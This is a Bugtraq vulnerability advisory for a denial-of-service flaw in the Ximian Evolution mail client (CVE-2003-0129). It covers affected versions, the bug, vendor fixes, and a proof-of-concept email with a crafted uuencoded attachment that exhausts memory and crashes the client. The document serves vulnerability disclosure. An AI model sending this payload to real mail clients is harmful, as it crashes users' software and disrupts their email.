Ximian Evolution UUEncoding Denial of Service Vulnerability

BID:7118

Info

Ximian Evolution UUEncoding Denial of Service Vulnerability

Bugtraq ID: 7118
Class: Failure to Handle Exceptional Conditions
CVE: CVE-2003-0129
Remote: Yes
Local: No
Published: Mar 17 2003 12:00AM
Updated: Jul 11 2009 09:06PM
Credit: Discovered by Diego Kelyacoubian, Javier Kohen, Alberto Solino, and Juan Vera of Core Security Technologies.
Vulnerable: Ximian Evolution 1.2.2
+ Mandriva Linux Mandrake 9.1 ppc
 + Mandriva Linux Mandrake 9.1
+ Redhat Linux 9.0 i386
 Ximian Evolution 1.2.1
Ximian Evolution 1.2
Ximian Evolution 1.1.1
Ximian Evolution 1.0.8
+ Mandriva Linux Mandrake 9.0
Ximian Evolution 1.0.7
Ximian Evolution 1.0.6
Ximian Evolution 1.0.5
+ Debian Linux 3.0 sparc
 + Debian Linux 3.0 s/390
 + Debian Linux 3.0 ppc
 + Debian Linux 3.0 mipsel
 + Debian Linux 3.0 mips
 + Debian Linux 3.0 m68k
 + Debian Linux 3.0 ia-64
 + Debian Linux 3.0 ia-32
 + Debian Linux 3.0 hppa
 + Debian Linux 3.0 arm
 + Debian Linux 3.0 alpha
 + Debian Linux 3.0
Ximian Evolution 1.0.4
Ximian Evolution 1.0.3
+ Redhat Linux 7.3
Not Vulnerable: Ximian Evolution 1.2.3

Discussion

Ximian Evolution UUEncoding Denial of Service Vulnerability

A vulnerability has been discovered in the Ximian Evolution Mail User Agent (MUA). The problem occurs when the mailer attempts to process a maliciously encoded e-mail message. When attempting to decode the message, the MUA will repeatedly attempt to allocate memory, resulting in system resource exhaustion and will eventually crash.

This vulnerability affects Ximian Evolution version 1.2.2 and earlier.

Exploit / POC

Ximian Evolution UUEncoding Denial of Service Vulnerability

The following proof of concept vulnerability will reproduce the issue:

From [email protected] Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <[email protected]>
To: [email protected]
Content-Type: multipart/mixed; boundary=3D"=3D-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300

--=3D-mTDu5zdJIsixETTwCF5Y
Content-Disposition: inline; filename=3Dname
Content-Type: application/octet-stream; name=3Dname
Content-Transfer-Encoding: 7bit

begin 600 phase2
M8F5G:6X@-C P('!H87-E,0I-.$8U1SHV6$ M0R!0*"<Q13XG,"HS,RA&+310
M6RE%42 N,SQ9,3-1)S$T*%LU0R4Y*E0I.#-"*2 R,D19"DTP0B4Y+E4\5# C
M138W-3!(*5,E+RHB/%$R(TA7*R0@7"E%52DN5#Q0,T!)+2I4*$$V,TTW+20M7#%#,2 *32\D.%4P,T1',20@72E%42 O,SQ-,3) 1"LR7%0Q(S$@+$,Q-2PC
M(%0K,S!(+$(Q(2A$(2DQ4TTR*#1 6 I-+4)5*R)$-$@I5#4O+S,\23131%8T
M-#A(+$(Q(2A$(2DU4U4W+R186#5%53(N,SQ-,3-!-RTU*%HM4R4Y"C,J5#A-
?,U-,4#(B2$(P(B! (D(@*CDV640B0" @"B *96YD"@

end
--=3D-mTDu5zdJIsixETTwCF5Y--

Solution / Fix

Ximian Evolution UUEncoding Denial of Service Vulnerability

Solution:
Red Hat has released a security advisory (RHSA-2003:108-01) which contains fixes for this issue. Users are advised to upgrade as soon as possible.

The appropriate fixes have been applied to the Evolution CVS tree.

Ximian has reported that Evolution 1.2.3 will be released however, it does not appear to be available at this time. Users are advised to monitor the Ximian Evolution release page for further information.

Conectiva Linux has released an advisory. Affected users are advised to upgrade to new versions of Evolution. Further information about obtaining and applying fixes are available in the referenced advisory.


Ximian Evolution 1.0.3

Ximian Evolution 1.0.8

Ximian Evolution 1.2.2

References

Ximian Evolution UUEncoding Denial of Service Vulnerability

References:

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